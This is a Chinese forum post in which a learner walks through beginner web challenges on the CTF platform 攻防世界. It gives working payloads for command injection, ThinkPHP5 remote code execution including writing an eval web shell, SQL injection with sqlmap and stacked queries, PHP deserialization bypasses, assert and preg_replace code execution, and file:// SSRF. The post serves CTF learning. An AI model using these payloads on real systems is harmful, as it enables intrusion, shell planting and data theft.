攻防世界的新手web题解

打印 上一主题 下一主题

主题 851|帖子 851|积分 2553

攻防世界引导模式
1、disabled_button

好,给了一个按钮,第一道标题就不会做

看的wp<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">
简单分析一下代码
<input ... >: 这是一个HTML的输入标签。它通常用于收集用户输入,但在这里它被用作一个提交按钮。
disabled: 这是一个属性,表示这个按钮是禁用的。当按钮被禁用时,用户不能点击它。这在某些情况下很有用,例如,当你想要表现一个按钮但不想让用户点击它时。
disabled 属性规定应该禁用 input 元素。被禁用的 input 元素既不可用,也不可点击,直到满足某些其他的条件为止(好比选择了一个复选框等等),然后,就需要通过 JavaScript 来删除 disabled 值,将 input 元素的值切换为可用。disabled 属性无法与 <input type="hidden"> 一起使用。
class="btn btn-default": 这是一个类属性,通常用于CSS样式和JavaScript功能。在这里,它有两个类:btn 和 btn-default。这通常是用于Bootstrap或其他前端框架的,以便应用特定的样式。
style="height:50px;width:200px;": 这是一个内联样式属性,直接界说了这个按钮的高度为50像素,宽度为200像素。
type="submit": 这表示这个输入是一个提交按钮。当用户在表单中点击这个按钮时,表单会被提交。
value="flag": 这界说了按钮上表现的文本,即“flag”。
name="auth": 这给按钮界说了一个名字,名为“auth”。这在表单提交时很有用,因为服务器可以识别这个按钮是被点击的。
以是直接把 disabled删除,双击选中它,删除然后点击flag


最终得到flag
2、command_execution(小宁写了个ping功能,但没有写waf,X老师告诉她这是非常伤害的,你知道为什么吗。)

这道标题给了一个ping地址的东西,很显然我不会,果然师傅说的没错,不是CTFshow刷完了就完结了,还有许多标题是我没有见到过的。

ping命令

ping 命令是一个常用的网络命令,用于测试两台计算机之间网络连接的连通性。通过向目标计算机发送 ICMP 协议的数据包,并等待目标计算机返回相应数据包来测试网络的可达性,同时也可以测试网络的耽误和丢包率等信息。
ping命令的应用格式

1.ping+IP地址或主机域名
2.ping+IP地址或主机域名+命令参数
3.ping+命令参数+IP地址或主机域名
ping命令执行毛病
如果 ping 命令不正确地处置惩罚其输入参数,就可能存在被攻击者使用来运行伤害的命令的风险。
例如,如果在 ping 命令中使用了一个长度高出其预期的输入参数,则可能会导致该命令出现缓冲区溢出毛病。
该题可将输入参数截断从而让其运行伤害的参数,常见的连接符有

例如,ping127.0.0.1| ls /时,将表现ls /的执行结果,即列出目录
回到刚刚的标题


然后从中一个一个找下一层目录有没有flag,最后在home这一层找到flag.txt

3、baby_web(想想初始页面是哪个)
这道标题早先给了我们一个界面,但是他的链接是1.php,我们直接改成index.php,发现不可,仍旧是跳转到1.php这边来,厥后想到抓个包试试
访问index.php时发现他自动跳转回了1.php
抓包
Location: 1.php
以是index.php通过302重定向1.php,我当时找半天没找到这个flag在那里,我只看到了下面的flag is hidden,不停没往上看

4、simple_js(小宁发现了一个网页,但却不停输不对暗码。(Flag格式为 Cyberpeace{xxxxxxxxx} ))
我们也是暗码怎么输入都不对,查察一下源代码

这段JavaScript代码是一个解密函数,用于解密经过特定编码的暗码字符串。
dechiffre(pass_enc) 函数界说了一个解密函数,它接受一个经过编码的暗码作为输入。
在函数内部,将两个字符串 pass_enc 和 pass 分别表示为经过编码的暗码和用于解密的密钥。
使用 split() 函数将经过编码的暗码字符串和密钥字符串分割成数组。
通过循环,将编码后的暗码字符串逐个解码,最终得到原始暗码。
然后,通过 String.fromCharCode() 函数将字符代码转换为对应的字符。
最后,将解密后的暗码返回。
在代码的末尾,通过 prompt() 函数获取用户输入的暗码,并通过 alert() 函数表现解密后的暗码。这段代码主要就是
5、unserialize3
这道标题是一个简单的绕过把戏方法(wakeup)的反序列化标题

这道标题只要我们去把绕过wakeup就可以获取到flag

首先我们先反序列化一下这个数值,如何获得这个序列化的值,我们
此时需要绕过__wakeup()方法:
__wakeup()函数毛病原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数:以是只要把O的4改成5就可以了

6、thinkphp5


这道标题一看就是让我们去探求PHPV5的毛病,因为前几天刚做过5.1的毛病,以是我不停再找反序列化的可控入口,可是怎么点击都没有,后面发现5的毛病不是这个,发现只要传参就可以了

  1. # 第一个
  2. http://127.0.0.1/cms/thinkPHP5/thinkphp_5.0.0/public/?s=captcha&test=whoami
  3. POST   _method=__construct&filter[]=system&method=GET&get[]=whoami
  4. # 第二个
  5. ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
复制代码
  1. ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php @eval($_POST[shell]); ?>
复制代码


然后就可以获取到这个flag了。
7、warm up(一看就是反序列化的标题)
  1. <?php
  2.     highlight_file(__FILE__);
  3.     class emmm
  4.     {      
  5.         public static function checkFile(&$page)
  6.         {
  7.             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];   //白名单
  8.             
  9.             if (! isset($page) || !is_string($page)) {
  10.                 echo "you can't see it";
  11.                 return false;   //没有设置$page或者$page不是字符型返回false
  12.             }
  13.             if (in_array($page, $whitelist)) {  //in_array()检查数组中是否存在某个值
  14.                 return true;  //验证输入的是否为
  15. 白名单内容,是则返回真
  16.             }
  17.             
  18.             //mb_substr()返回字符串的一部分
  19.             //mb_strpos()查找字符串在另一个字符串中首次出现的位置,没匹配到则返回字符串长度
  20.             
  21.             //mb_strpos返回$page里?出现的第一个位置
  22.             //mb_substr截取?前内容,无?则全部获取                                                                                                                                                                                                                                                                                                                                                                                                     
  23.             $_page = mb_substr($page,
  24. 0,
  25. mb_strpos($page . '?', '?'));  
  26.             if (in_array($_page, $whitelist)) {
  27.                 return true;  //如果$_page在白名单里则返回true
  28.             }
  29.             
  30.             $_page = urldecode($page);  //对$page进行url解码
  31.             $_page = mb_substr($_page,
  32. 0,
  33. mb_strpos($_page . '?', '?'));  
  34.             //解码后,再次截取?前的字符
  35.             if (in_array($_page, $whitelist)) {
  36.                 return true;  //第三次白名单验证
  37.             }
  38.             echo "you can't see it";
  39.             return false;
  40.         }
  41.     }
  42. //主函数
  43.     if (! empty($_REQUEST['file'])  //empty()用于检查一个变量是否为空,file不能为空,我们要传入一个file参数
  44.         && is_string($_REQUEST['file'])  //判断是否为string类型
  45.         && emmm::checkFile($_REQUEST['file'])  //调用checkFile,检测是否过白名单
  46.     ) {
  47.         include $_REQUEST['file'];
  48.         exit;
  49.     } else {
  50.         echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
  51.     }  
  52. ?>
复制代码
反序列化的标题照旧一看就头疼,根本看不懂这道标题再说什么
8、NewsCenter



这道标题看起来就像是SQL注入的东西,然后我们就可以使用连合查询试试,但是我发现我用and和or的话页面会跳转到空缺页面,然后我们就使用BP抓一下包,然后试了许多查询,但是好像应该是被过滤掉了,以是这道题应该是SQL但是不是用手注,而是用SQLmap来跑,发现这个-u的跑不出来。厥后发现sqlmap还有另外一种用法。

然后保存在桌面,123.txt
然后用sqlmap注入(这方面我也不太会。。。)
查找数据库 -r C:\Users\123\Desktop\123.txt --dbs 发现有两个数据库
sqlmap -r '/root/桌面/1.txt' -D news -T secret_table --columns
sqlmap -r '/root/桌面/1.txt' -D news --tables
sqlmap -r '/root/桌面/1.txt' --dbs
sqlmap -r '/root/桌面/1.txt' -D news -T secret_table -C fl4g



然后最后得出flag,这道标题就搞出来了,sqlmap这个是新东西,学习学习
9、Web_php_unserialize



代码审计
这段代码首先界说了一个名为 Demo 的类,包含了一个私有变量 $file 和三个把戏方法 __construct()、__destruct() 和 __wakeup()。其中:
__construce()方法用于初始化 $file 变量
__destruce方法用于输出文件内容
__wakeup() 方法检查当前对象的 $file 变量,如果不便是 index.php,则将其重置为 index.php,从而防止攻击者通过反序列化攻击来读取 fl4g.php 文件的内容。
这段代码主要是用于汲取 GET 参数 var,使用 base64_decode 函数对 var 进行解码,然后通过 preg_match 函数判断是否包含雷同 o:2的字符串,如果存在则中断步伐执行,否则调用 @unserialize 函数进行反序列化操纵。

这道标题构造一下我们的poc:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
wakeup绕过
修改反序列化串的对象属性个数,使之大于真实属性个数即可。
构造POC如下:O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
然后第二个是绕过preg_match的正则表达式/[oc]:\d+:/i表示匹配恣意个位于开头的 o 或 c 字符,紧接着一个冒号,然后是一或多个数字,最后是一个冒号,不区分大小写。
即形如o:2:的字符串被过滤,使用 + 即可绕过(固定知识点)以是我们的poc:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
最后一步把他base64编码一下,poc:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
然后进行传参


十、supersqli
这道标题一看就知道是SQL注入



证明了闭合方式为单引号,继承测试字段数量(order by / group by ),经测试,字段数量为2。接着开始注数据库名,表名等关键信息:
首先尝试Union连合注入---构造payload: ?inject=1' union select database(),提交页面如下:页面回显提示我们后端代码对注入点inject提交的内容进行了过滤,将 select、where等一系列关键字进行了过滤,并无视大小写,制止了 大小写绕过 等绕过方法。以是Union连合注入不可行。
同时,观察到 show、from 等一些堆叠注入关键词没有被过滤,故尝试堆叠注入,构造payload:?inject=1';show databases; --+ ,提交页面如下:
发现回显数据库信息,证明堆叠注入可行。继承注表名,构造payload:?inject=1';show tables' --+,提交页面如下:





然后下一步就说爆库了,首先查察表 words,发现列名分别为 id 和 data,猜测表words可能为默认查询的表,构造payload:?inject=1'or 1=1 #进行验证:
观察到回显内容格式均为 id + data 的格式,证明表 words 为默认查询的表。
继承查询 表1919810931114514中的列,构造雷同payload:?inject=1';show columns from `1919810931114514`; #,提交查询页面如下:

然后我们发现这个flag再这个1919的表内里。
已知表 words 为查询的默认表,则可以使用 rename 关键字将 表word改名为words,并将表 1919810931114514改名为 word,如许默认查询的表就酿成了原先的 表1919810931114514,并将列 flag 改为 id,如许进行查询则可得到 flag 的值:
; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); #
拆开:
; alter tables words rename to words1;
; alter tables `1919810931114514` rename to words ;
; alter tables words change flag id varchar(50); #
方法一:
根据在words表里发现id字段与查询框里的出的数据类型雷同,一个数字,一个字符串,以是猜测默认查询的就是words表,inject(搜刮框中)值应该赋给了id
使用:我们可以将含有flag字段的表定名为word,然后修改字段名字,不就查询到我们想要的结果!(前提是这里rename,alert关键字 没有做过滤)
方法二、预编译
  1. 1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
复制代码


这道标题不是很懂,后面再来学习这个知识点
十一、My PHP Website


打开就一个网站的界面

用kali扫除git泄露,直接进到内里去

进入Githack-master文件目录,打开终端输入以下命令获取源码

然后有一个index.php的源码
  1. blob 2199 <?php
  2. if (isset($_GET['page'])) {
  3.         $page = $_GET['page'];
  4. } else {
  5.         $page = "home";
  6. }
  7. $file = "templates/" . $page . ".php";
  8. // I heard '..' is dangerous!
  9. assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
  10. // TODO: Make this look nice
  11. assert("file_exists('$file')") or die("That file doesn't exist!");
  12. ?>
  13. <!DOCTYPE html>
  14. <html>
  15.         <head>
  16.                 <meta charset="utf-8">
  17.                 <meta http-equiv="X-UA-Compatible" content="IE=edge">
  18.                 <meta name="viewport" content="width=device-width, initial-scale=1">
  19.                
  20.                 <title>My PHP Website</title>
  21.                
  22.                 <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
  23.         </head>
  24.         <body>
  25.                 <nav class="navbar navbar-inverse navbar-fixed-top">
  26.                         <div class="container">
  27.                             <div class="navbar-header">
  28.                                     <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
  29.                                     <span class="sr-only">Toggle navigation</span>
  30.                                     <span class="icon-bar"></span>
  31.                                     <span class="icon-bar"></span>
  32.                                     <span class="icon-bar"></span>
  33.                                   </button>
  34.                                   <a class="navbar-brand" href="#">Project name</a>
  35.                         </div>
  36.                         <div id="navbar" class="collapse navbar-collapse">
  37.                                   <ul class="nav navbar-nav">
  38.                                     <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
  39.                                     <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
  40.                                     <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
  41.                                                 <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
  42.                                   </ul>
  43.                         </div>
  44.                     </div>
  45.                 </nav>
  46.                
  47.                 <div class="container" style="margin-top: 50px">
  48.                         <?php
  49.                                 require_once $file;
  50.                         ?>
  51.                        
  52.                 </div>
  53.                
  54.                 <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
  55.                 <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
  56.         </body>
  57. </html>
复制代码
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
真正的代码就只有着一些,(刚学php的小白表示来简单的学习下这些函数)

isset()检测变量是否已声明,
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False
file_exists() 函数检查文件或目录是否存在。
assert() 会检查指定的 assertion 并在结果为 FALSE 时接纳适当的举措。 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串 的上风是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会表现为断言函数的 参数;在调用你界说的 assert_options() 处置惩罚函数时,条件会转换为字符串,而布尔值 FALSE 会被转换成空字符串。
(关于php命令执行后期会出一个学习心得,近来有点卡在这了)
过程
再重新回到源码,
先是以get请求获得page值,如果没有则返回。
之后再把page值添加,构造文件路径名
然后用strpos函数检查文件路径名是否有".." 如果没有的话 返回false
这里肯定要让它false 之后false==false才气执行下一步assert("file_exists('$file')")
assert("file_exists('$file')") 在这里构造payload
$file=111') or system("cat templates/flag.php");
最终payload为 ?page=111') or system("cat templates/flag.php");//
之后按肯定要按F12查察源码看flag


ics-05

这道标题我们刚打开是一个设备维护中心,我本来以为是之前的SQL注入但是没想到不是,啥都没有tm的,但是发现了一个点,点击这个云平台设备维护中心会跳出来page=什么,index.php他回显了一个OK然后我们就可以看看有没有flag.php,但没有回显,我们可以使用伪协议来读取index.php的内容,如许我们就读取到了其中的内容



然后对他进行解码,发现是一串php代码审计,对于这个是真头疼啊骂他说要内部人员测试,以是把协议头改成127.0.0.1就可以了,然后这边出现了一个毛病就是

查了一下preg_replace函数,有一个很严肃的毛病存在。举个例子:preg_replace("/txt/e",$_GET["ganyu"],"txt");/e会将ganyu当做php代码运行,以是我们可以使用这个点,构造出来payload:
?pat=/txt/e&rep=system('ls')&sub=txt
?pat=/txt/e&rep=system('ls+s3chahahaDir')&sub=txt
?pat=/txt/e&rep=system('ls+s3chahahaDir/flag')&sub=txt
然后就可以获取到flag了


fakebook



这道标题首先给出一个登录界面但是试了SQL注入也不可,应该不是如许做的,然后看到另一个注册的地方

然后blog那里有问题,不停输入提示错误,后面找到了随便一个网站然后就乐成注册乐成了。



发现这边有一个admin可以

打开之后发现no那里应该可以用sql注入,然后我就是用sqlmap跑了一下,发现跑不出来

那我们就可以通过手动注入来看一下他的列数。到5的时候发现是4列,以是我们就可以试试select行不可。http://61.147.171.105:55570/view.php?no=1/**/order/**/by/**/5--+

发现我们的库的名字是facebook,并且这里也写出了一个路径,我们可以尝试用dirsearch去扫描一下发现我们内里有一个flag.php,然后我们就可以猜测flag.php在/var/www/html/flag.php路径下
解法一:

mysql中的load_file函数,允许访问体系内恣意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php
构造payload:


然后我们查察源代码,发现flag这时候就出来了

  1. http://61.147.171.105:55570/view.php?no=-1/**/union/**/select/**/1,load_file("/var/www/html/flag.php"),3,4--+
复制代码
解法二:

不使用load_file
由于拿到了数据库名,查询表数据
查询表名
  1. http://61.147.171.105:55570/view.php?no=-1/**/union/**/select/**/1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
复制代码



开头为注册用户,中心为注册时设置的暗码被加密,末尾为序列化内容,这里单独吧data列出

是个序列化后的UserInfo对象,下意识想起之前那份备份文件也界说的类为UserInfo,最开始时的用户界面为no=1时,靶场根据users表查询no=1进行渲染的页面。可以猜测,和数据库表中的字段no,username,passwd,data顺序相似,第四个字段应该就是data。思考一下,一共有4个字段,select的时候如果将第四个字段插入data序列化后的内容,是否就回显了我们注册的admin用户和他的blog呢?以是我们就构造一下传参
1 and 0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:" file:///var/www/html/flag.php";}' from users#


然后打开源代码,发现这里就有了flag


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

惊落一身雪

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表